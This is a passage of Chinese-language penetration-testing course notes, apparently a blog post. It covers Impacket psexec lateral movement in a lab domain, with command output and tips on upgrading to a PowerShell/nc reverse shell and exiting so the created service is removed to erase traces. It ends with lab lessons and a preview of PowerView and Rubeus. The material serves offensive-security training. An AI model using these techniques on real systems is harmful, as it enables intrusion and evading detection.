 lget {file}                 - downloads pathname RELATIVE to the connected share (ADMIN$) to the current local dir
 ! {cmd}                    - executes a local shell cmd
 
C:\Windows\system32> exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on servicedesk.gigantichosting.local.....
[*] Stopping service pkOH.....
[*] Removing service pkOH.....
[*] Removing file qjZmFwjZ.exe.....

  • Shell 优化:

    • rlwrap: 在 impacket 命令前加上 rlwrap 可以提供历史记录和更好的行编辑功能,提升交互体验 。

    • 重新获取 Shell: 如果 psexec 的 Shell 不稳定,可以在其内部执行之前的 PowerShell 反弹 Shell 脚本,以获取一个 nc 的 Shell,交互性可能更好 。

    • psexec 用完记得用exit退出,因为他最初启动是创建了一个服务
      [*] Creating service pkOH on servicedesk.gigantichosting.local.....
      [*] Starting service pkOH.....

    • 退出时使用exit会自动移除这项服务以做到消除痕迹
      [*] Stopping service pkOH.....
      [*] Removing service pkOH.....
      [*] Removing file qjZmFwjZ.exe.....

5.8 Impacket 横向移动工具小结

6. 总结与后续内容预告

6.1 靶场环境问题与思考

  • 靶机未重置: 讲师发现靶机已连续运行 22 天未重置,导致环境中留有其他用户的操作痕迹(如已关闭的 Defender、开放的 5985 端口等)。

  • 启示:

    • 高难度靶场参与人数少,问题反馈可能不及时。

    • 实战中要珍惜来之不易的访问权限。

    • 需要根据环境动态调整策略,不能完全依赖固定的攻击路径。

6.2 下周内容预告 (PowerView, Rubeus)

-.-

0

评论区